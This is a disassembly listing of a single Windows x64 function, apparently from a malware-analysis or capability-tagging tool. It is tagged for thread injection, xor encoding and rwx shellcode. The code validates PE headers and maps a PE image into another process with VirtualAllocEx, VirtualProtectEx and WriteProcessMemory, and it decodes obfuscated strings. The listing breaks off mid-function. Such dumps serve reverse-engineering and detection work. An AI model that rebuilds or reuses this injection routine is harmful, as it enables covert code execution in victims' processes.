Function at 0x1402666a0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
push rbp
push rbx
push rdi
push r15
lea rbp, [rax - 0x158]
sub rsp, 0x238
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
movaps xmmword [rax - 0x78], xmm9
movaps xmmword [rax - 0x88], xmm10
mov rax, qword [0x140294040]
xor rax, rsp
mov qword [rbp + 0x70], rax
mov eax, 0x5a4d
mov r15, rdx
mov rdi, rcx
cmp word [rdx], ax
je 0x1402669e3
cmp byte [0x140283abd], 0
movsd xmm0, qword [0x140283ab0]
movzx eax, word [0x140283abc]
mov ecx, dword [0x140283ab8]
movsd qword [rsp + 0x70], xmm0
mov word [rsp + 0x7c], ax
mov dword [rsp + 0x78], ecx
je 0x1402669d2
xor ebx, ebx
cmp dword [0x140294090], 2
jl 0x140266974
movdqa xmm4, xmmword [0x140284260]
movdqa xmm7, xmmword [0x1402843a0]
movdqa xmm2, xmm4
movdqa xmm6, xmmword [0x1402843b0]
movdqa xmm1, xmm4
movdqa xmm5, xmmword [0x140284370]
movdqa xmm8, xmmword [0x1402843d0]
movdqa xmm9, xmmword [0x140284310]
movdqa xmm10, xmmword [0x140284390]
punpckhdq xmm1, xmm4
movdqa xmm0, xmm1
punpckldq xmm2, xmm4
pmuldq xmm0, xmm6
movdqa xmm3, xmm2
pmuldq xmm1, xmm7
pmuldq xmm3, xmm6
pmuldq xmm2, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
movdqa xmm1, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm8
psubd xmm1, xmm0
movdqa xmm0, xmm3
andps xmm1, xmm5
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm1, xmm1
packuswb xmm1, xmm1
pmulld xmm0, xmm9
psubd xmm4, xmm0
movd xmm0, dword [0x140283ab0]
andps xmm4, xmm5
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movdqa xmm4, xmmword [0x140284280]
paddb xmm1, xmm10
movdqa xmm3, xmm4
xorps xmm1, xmm0
punpckldq xmm3, xmm4
movd dword [rsp + 0x70], xmm1
movdqa xmm2, xmm3
movdqa xmm1, xmm4
pmuldq xmm2, xmm6
punpckhdq xmm1, xmm4
movdqa xmm0, xmm1
pmuldq xmm3, xmm7
pmuldq xmm0, xmm6
pmuldq xmm1, xmm7
shufps xmm2, xmm0, 0xdd
shufps xmm3, xmm1, 0xdd
paddd xmm2, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm1, xmm4
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
andps xmm1, xmm5
psrld xmm0, 0x1f
packuswb xmm1, xmm1
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm8
psubd xmm4, xmm0
andps xmm4, xmm5
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm10
movdqa xmm4, xmmword [0x1402842a0]
mov ebx, 0xc
movd xmm0, dword [rsp + 0x74]
movdqa xmm2, xmm4
xorps xmm1, xmm0
punpckldq xmm2, xmm4
movd dword [rsp + 0x74], xmm1
movdqa xmm3, xmm2
movdqa xmm1, xmm4
pmuldq xmm2, xmm7
punpckhdq xmm1, xmm4
movdqa xmm0, xmm1
pmuldq xmm3, xmm6
pmuldq xmm0, xmm6
pmuldq xmm1, xmm7
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
movdqa xmm1, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm8
psubd xmm1, xmm0
movdqa xmm0, xmm3
andps xmm1, xmm5
psrld xmm0, 0x1f
packuswb xmm1, xmm1
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm9
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm5
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm10
xorps xmm1, xmm0
movd dword [rsp + 0x78], xmm1
mov eax, ebx
lea r9, [rsp + 0x70]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0xe
jl 0x140266980
lea rcx, [rsp + 0x70]
call fcn.1402010d0
xor al, al
jmp 0x14026c35b
mov qword [rsp + 0x228], r13
mov eax, 0x8664
movsxd r13, dword [rdx + 0x3c]
add r13, r15
movaps xmmword [rsp + 0x1c0], xmm11
cmp word [r13 + 4], ax
je 0x140266db3
cmp byte [0x140283ad1], 0
movups xmm11, xmmword [0x140283ac0]
movzx eax, word [0x140283ad0]
mov word [rsp + 0x50], ax
movups xmmword [rsp + 0x40], xmm11
je 0x140266da2
xor ebx, ebx
cmp dword [0x140294090], 2
jl 0x140266d46
movdqa xmm4, xmmword [0x140284260]
movdqa xmm7, xmmword [0x1402843b0]
movdqa xmm3, xmm4
movdqa xmm8, xmmword [0x1402843a0]
movdqa xmm1, xmm4
movdqa xmm6, xmmword [0x140284370]
movdqa xmm10, xmmword [0x140284310]
movdqa xmm9, xmmword [0x1402843d0]
mov ecx, dword [0x140284390]
punpckhdq xmm1, xmm4
punpckldq xmm3, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
movdqa xmm2, xmm3
pmuldq xmm2, xmm7
pmuldq xmm1, xmm8
pmuldq xmm3, xmm8
movd eax, xmm11
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm4
shufps xmm3, xmm1, 0xdd
movdqa xmm1, xmm4
psubd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm10
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm9
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, ecx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movdqa xmm4, xmmword [0x140284280]
paddb xmm1, xmm0
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
movd xmm0, eax
xorps xmm1, xmm0
pmuldq xmm2, xmm8
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm2, xmm6
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm1, dword [rsp + 0x44]
movdqa xmm4, xmmword [0x1402842a0]
movd xmm0, ecx
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
movd xmm1, dword [rsp + 0x48]
psubd xmm2, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
paddd xmm0, xmm3
packuswb xmm2, xmm2
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
movd xmm0, ecx
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movdqa xmm4, xmmword [0x1402842c0]
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x48], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
punpckhdq xmm1, xmm4
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm3, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
andps xmm2, xmm6
psrld xmm0, 0x1f
packuswb xmm2, xmm2
paddd xmm0, xmm3
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm1, dword [rsp + 0x4c]
mov ebx, 0x10
movd xmm0, ecx
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x4c], xmm2
mov eax, ebx
lea r9, [rsp + 0x40]
add r9, rax
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x12
jl 0x140266d50
lea rcx, [rsp + 0x40]
call fcn.1402010d0
xor al, al
jmp 0x14026c34a
movzx eax, byte [0x140283a90]
lea rcx, [rsp + 0x70]
movsd xmm0, qword [0x140283a88]
xor al, 0x56
movsd qword [rsp + 0x70], xmm0
xor byte [rsp + 0x71], 0x48
xor byte [rsp + 0x72], 0x4a
xor byte [rsp + 0x73], 0x4c
xor byte [rsp + 0x74], 0x4e
xor byte [rsp + 0x75], 0x50
xor byte [rsp + 0x76], 0x52
xor byte [rsp + 0x77], 0x54
mov byte [rsp + 0x78], al
mov qword [rsp + 0x230], r12
mov byte [rsp + 0x70], 0x46
call fcn.1402010d0
mov r8d, dword [r13 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 4
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x1402670c5
call qword [sym.imp.KERNEL32.dll_GetLastError]
movups xmm0, xmmword [0x140283980]
movzx ecx, word [0x1402839b0]
xor ebx, ebx
cmp dword [0x140294090], 2
mov r10d, eax
movups xmm1, xmmword [0x140283990]
mov word [rbp - 0x40], cx
movzx ecx, byte [0x1402839b2]
movups xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x3e], cl
movups xmm0, xmmword [0x1402839a0]
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm0
jl 0x140267050
movdqa xmm0, xmmword [0x140284390]
lea rcx, [rbp - 0x6c]
movdqa xmm8, xmmword [0x140284260]
movdqa xmm5, xmmword [0x1402843b0]
movdqa xmm6, xmmword [0x1402843a0]
movdqa xmm9, xmmword [0x1402843d0]
movdqa xmm10, xmmword [0x140284310]
movdqa xmm7, xmmword [0x140284370]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm8
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm8
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x30
jl 0x140266ed0
cmp ebx, 0x33
jge 0x1402670b2
movsxd rax, ebx
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x33
jl 0x140267060
mov edx, r10d
lea rcx, [rbp - 0x70]
call fcn.1402010d0
xor al, al
jmp 0x14026c342
lea rax, [rbp + 0x64]
xor ebx, ebx
mov dword [rbp + 0x64], ebx
mov r9d, 0x40
mov r8d, dword [r13 + 0x50]
mov rdx, r12
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x20], rax
mov r8, r15
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r12
mov qword [rbp - 0x18], rax
mov rcx, rdi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x10], rax
mov qword [rbp], rbx
mov qword [rbp + 8], 1
mov qword [rbp + 0x18], 1
mov qword [rbp - 8], r12
mov qword [rbp + 0x10], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1402673eb
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x14028387d], bl
mov r10d, eax
movups xmm0, xmmword [0x140283860]
mov ecx, dword [0x140283878]
mov dword [rbp - 0x78], ecx
movzx ecx, word [0x14028387c]
movups xmmword [rsp + 0x70], xmm0
mov word [rbp - 0x74], cx
movsd xmm0, qword [0x140283870]
movsd qword [rbp - 0x80], xmm0
je 0x1402673c2
cmp dword [0x140294090], 2
jl 0x140267361
movdqa xmm0, xmmword [0x140284390]
lea rcx, [rsp + 0x74]
movdqa xmm8, xmmword [0x140284260]
movdqa xmm5, xmmword [0x1402843b0]
movdqa xmm6, xmmword [0x1402843a0]
movdqa xmm9, xmmword [0x1402843d0]
movdqa xmm10, xmmword [0x140284310]
movdqa xmm7, xmmword [0x140284370]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm8
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm8
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x18
jl 0x1402671e1
cmp ebx, 0x1e
jge 0x1402673c2
movsxd rax, ebx
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x1e
jl 0x140267370
mov edx, r10d
lea rcx, [rsp + 0x70]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14026c342
mov qword [rsp + 0x270], rsi
movzx esi, word [r13 + 0x14]
add rsi, 0x2c
mov qword [rsp + 0x220], r14
mov r14d, ebx
cmp word [r13 + 6], bx
je 0x14026744e
add rsi, r13
mov eax, dword [rsi - 4]
test eax, eax
je 0x14026743d
mov r8d, dword [rsi]
mov r9d, eax
mov edx, dword [rsi - 8]
add r8, r15
add rdx, r12
mov qword [rsp + 0x20], rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14026771a
movzx eax, word [r13 + 6]
inc r14d
add rsi, 0x28
cmp r14d, eax
jne 0x140267411
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x40
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x70], rax
mov r14, rax
test rax, rax
jne 0x140267c5b
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [0x140294090], 2
mov r10d, eax
movups xmm0, xmmword [0x140283928]
mov ecx, dword [0x140283958]
movups xmm1, xmmword [0x140283938]
mov dword [rbp - 0x40], ecx
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [0x140283948]
movups xmmword [rbp - 0x60], xmm1
movups xmmword [rbp - 0x50], xmm0
jl 0x140267690
movdqa xmm0, xmmword [0x140284390]
lea rcx, [rbp - 0x6c]
movdqa xmm8, xmmword [0x140284260]
movdqa xmm5, xmmword [0x1402843b0]
movdqa xmm6, xmmword [0x1402843a0]
movdqa xmm9, xmmword [0x1402843d0]
movdqa xmm10, xmmword [0x140284310]
movdqa xmm7, xmmword [0x140284370]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm4, ebx
lea eax, [rbx + 4]
pshufd xmm4, xmm4, 0
paddd xmm4, xmm8
movdqa xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm4, eax
paddb xmm1, xmm0
pshufd xmm4, xmm4, 0
movd xmm0, dword [rcx - 4]
paddd xmm4, xmm8
xorps xmm1, xmm0
movdqa xmm2, xmm4
movd dword [rcx - 4], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
punpckldq xmm2, xmm4
movdqa xmm0, xmm1
pmuldq xmm0, xmm5
movdqa xmm3, xmm2
pmuldq xmm1, xmm6
pmuldq xmm2, xmm6
pmuldq xmm3, xmm5
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
psrad xmm3, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm7
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm7
movd xmm0, edx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
add ebx, 8
movd dword [rcx], xmm1
lea rcx, [rcx + 8]
cmp ebx, 0x30
jl 0x140267510
cmp ebx, 0x34
jge 0x1402676f2
movsxd rax, ebx
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
movzx r8d, bl
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
mov eax, 0x9c09c09d
imul ebx
sub r8b, cl
add edx, ebx
add r8b, 0x23
sar edx, 6
add r8b, r8b
mov eax, edx
inc ebx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
xor byte [r9 - 1], r8b
cmp ebx, 0x34
jl 0x1402676a0
mov edx, r10d
lea rcx, [rbp - 0x70]
call fcn.1402010d0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
jmp 0x14026c332
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x1402839e9], bl
mov r10d, eax
movups xmm11, xmmword [0x1402839d0]
movzx ecx, word [0x1402839e8]
movsd xmm0, qword [0x1402839e0]
movups xmmword [rsp + 0x40], xmm11
mov word [rsp + 0x58], cx
movsd qword [rsp + 0x50], xmm0
je 0x140267c32
cmp dword [0x140294090], 2
jl 0x140267bcf
movdqa xmm4, xmmword [0x140284260]
movdqa xmm8, xmmword [0x1402843a0]
movdqa xmm2, xmm4
movdqa xmm7, xmmword [0x1402843b0]
movdqa xmm1, xmm4
movdqa xmm6, xmmword [0x140284370]
movdqa xmm9, xmmword [0x1402843d0]
movdqa xmm10, xmmword [0x140284310]
mov ecx, dword [0x140284390]
punpckldq xmm2, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm2, xmm8
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm1, xmm8
pmuldq xmm3, xmm7
movd eax, xmm11
shufps xmm2, xmm1, 0xdd
movdqa xmm1, xmm4
shufps xmm3, xmm0, 0xdd
psubd xmm2, xmm4
paddd xmm3, xmm4
psrad xmm2, 6
movdqa xmm0, xmm2
psrad xmm3, 6
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm9
psubd xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm1, xmm6
paddd xmm0, xmm3
packuswb xmm1, xmm1
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm1, xmm1
andps xmm4, xmm6
movd xmm0, ecx
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movdqa xmm4, xmmword [0x140284280]
paddb xmm1, xmm0
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
movd xmm0, eax
xorps xmm1, xmm0
pmuldq xmm2, xmm8
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
pmuldq xmm3, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
pmuldq xmm1, xmm8
shufps xmm3, xmm0, 0xdd
shufps xmm2, xmm1, 0xdd
paddd xmm3, xmm4
psubd xmm2, xmm4
psrad xmm3, 6
psrad xmm2, 6
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
movdqa xmm2, xmm4
pmulld xmm0, xmm9
psubd xmm2, xmm0
movdqa xmm0, xmm3
psrld xmm0, 0x1f
andps xmm2, xmm6
paddd xmm0, xmm3
packuswb xmm2, xmm2
pmulld xmm0, xmm10
psubd xmm4, xmm0
packuswb xmm2, xmm2
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm2, xmm4
movd xmm1, dword [rsp + 0x44]
movdqa xmm4, xmmword [0x1402842a0]
movd xmm0, ecx
paddb xmm2, xmm0
xorps xmm2, xmm1
movdqa xmm1, xmm4
movd dword [rsp + 0x44], xmm2
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm3, xmm2
